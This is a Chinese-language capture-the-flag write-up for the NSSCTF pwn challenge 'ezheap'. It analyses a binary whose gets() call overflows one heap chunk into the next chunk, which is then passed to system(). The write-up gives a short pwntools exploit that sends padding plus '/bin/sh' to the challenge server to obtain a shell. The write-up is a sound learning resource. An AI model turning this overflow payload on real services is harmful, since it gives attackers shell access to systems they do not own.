Featured image of post Nssctf Pwn [NISACTF 2022]ezheap Wp

Nssctf Pwn [NISACTF 2022]ezheap Wp

字数: 389

题面

提供二进制文件

分析

保护:

1
2
3
4
5
6
7
8
❯ pwn checksec --file=pwn
[*] '/data/project/ctf-repo/pwn/nssctf/ezheap/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

ida 反编译 main 文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

两次 malloc 分配堆空间,最终 system 取第二次的堆空间数据。有一个 gets ,该分配的堆空间是连续的。所以可以直接覆盖到下一个堆空间。

只需要计算好进行溢出的空间恰好在 command 地址写入 /bin/sh 即可拿到 shell。

利用

因为 malloc 分配的堆空间最小为 0x20 字节,而这其中有 0x18 是数据空间。剩下的 0x8 是元数据。本题只分配了 0x16 ,因而按最小 malloc 空间算。
首先注入 0x20 的字符,然后后面填下 /bin/sh 即可。用 pwndbg 验证如下:

1
payload = b"a" * 0x20 + b"/bin/sh\x00"

可以看到,0x20 恰好覆盖了 command 的 chunk 中的元数据。/bin/sh\x00 恰好在数据空间的头部。

因而就能拿到 shell。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

context.gdb_binary = "/bin/pwndbg"
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn", 26118)


payload = b"a" * 0x20 + b"/bin/sh\x00"

#gdb.attach(io)
io.sendline(payload)
io.interactive()

在 nssctf 的第一道 heap 题。